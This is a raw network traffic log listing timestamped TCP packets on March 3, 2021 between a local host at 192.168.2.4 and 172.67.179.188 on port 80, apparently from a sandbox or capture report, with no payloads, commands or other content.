Mar 3, 2021 07:33:23.626518011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626542091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626564980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626590014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626591921 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.626612902 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626637936 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.626667023 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.627208948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627238989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627262115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627289057 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627307892 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.627315998 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627338886 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627360106 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.627363920 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627388000 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627413034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627422094 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.627437115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627460957 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627461910 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.627486944 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627490044 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.627510071 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627532959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627548933 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.627556086 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627593994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627598047 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.627619982 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.627672911 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.628155947 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628185987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628211021 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628233910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628248930 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.628257990 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628278017 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.628282070 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628308058 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.628308058 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628333092 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628355980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628359079 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.628380060 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628401995 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.628403902 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.628480911 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.684799910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684828997 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684839964 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684851885 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684864044 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684875965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684887886 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684905052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684920073 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684937000 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684952974 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684967995 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684983969 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.684998989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685014963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685030937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685036898 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.685045958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685065985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685084105 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685098886 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685115099 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685129881 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685142040 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.685144901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685161114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685177088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685194969 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.685194969 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685213089 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685235023 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.685266018 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.685921907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685940981 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685951948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685969114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.685981989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686001062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686018944 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686031103 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686117887 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.686131001 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.686310053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686330080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686342001 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686357975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686373949 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686384916 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.686389923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686407089 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686420918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686420918 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.686436892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686453104 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686464071 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.686470985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686489105 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686501980 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.686505079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686521053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686538935 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686539888 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.686554909 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686570883 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.686572075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.686606884 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.686641932 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.687306881 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687328100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687339067 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687350988 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687362909 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687382936 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687401056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687416077 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687421083 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.687432051 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687448025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687463999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687469006 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.687479973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687486887 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.687496901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687515974 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687526941 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.687532902 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687549114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687565088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.687566996 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.687598944 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.688225031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688245058 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688256979 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688273907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688288927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688298941 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.688304901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688321114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688337088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688353062 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.688355923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688374043 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688385963 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.688390017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688405991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688419104 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.688421965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688436985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688452005 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.688452005 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688467979 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688487053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.688487053 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.688515902 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.688551903 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.689187050 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689208031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689229012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689245939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689260006 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689275980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689280033 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.689291954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689307928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689325094 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689327955 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.689341068 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689359903 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689368963 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.689378023 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689407110 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.689419031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689435959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689443111 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.689451933 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689466953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689486027 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.689493895 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.689538002 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.690176964 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690201044 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690218925 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690233946 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690249920 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690264940 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690279007 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.690284014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690301895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690316916 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690316916 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.690332890 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690342903 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.690349102 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690363884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690378904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690387011 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.690395117 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690413952 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690423965 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.690429926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690444946 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.690466881 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.690495014 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.691085100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691107035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691123009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691138983 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691154957 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691170931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691170931 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.691186905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691201925 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691205025 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.691220999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691231966 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.691237926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691252947 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691268921 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691272020 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.691283941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691298962 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691304922 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.691339016 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.691910982 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691931963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691947937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691963911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691978931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691994905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.691997051 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692009926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692029953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692037106 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692048073 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692063093 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692064047 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692079067 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692092896 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692095041 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692110062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692122936 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692126989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692142010 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692154884 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692162037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692178965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692194939 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692223072 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692817926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692852974 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692874908 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692889929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692893982 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692905903 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692922115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692940950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692955017 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.692959070 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692974091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.692991018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693002939 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.693006039 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693021059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693032980 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.693036079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693051100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693065882 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.693070889 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693087101 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693095922 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.693100929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693126917 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.693155050 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.693841934 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693866014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693881035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693897009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693912029 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693923950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693941116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693955898 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693973064 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.693979025 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.693988085 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.693989038 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.694003105 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.694019079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.694034100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.694052935 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.694118023 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.694123983 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.694125891 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.694128036 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.733685017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.733717918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.733731031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.733762026 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.733814955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.733886957 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.733959913 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.733962059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.734014034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.734076977 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.734117031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.734241009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.734318972 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.734357119 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.734402895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.734471083 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.734730959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.734759092 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.734777927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.734827995 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.734862089 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.751846075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.751867056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.751879930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.751888037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752000093 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752156973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752178907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752193928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752213001 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752228975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752234936 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752307892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752321959 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752325058 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752341032 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752348900 CET	49770	80	192.168.2.4	172.67.179.188
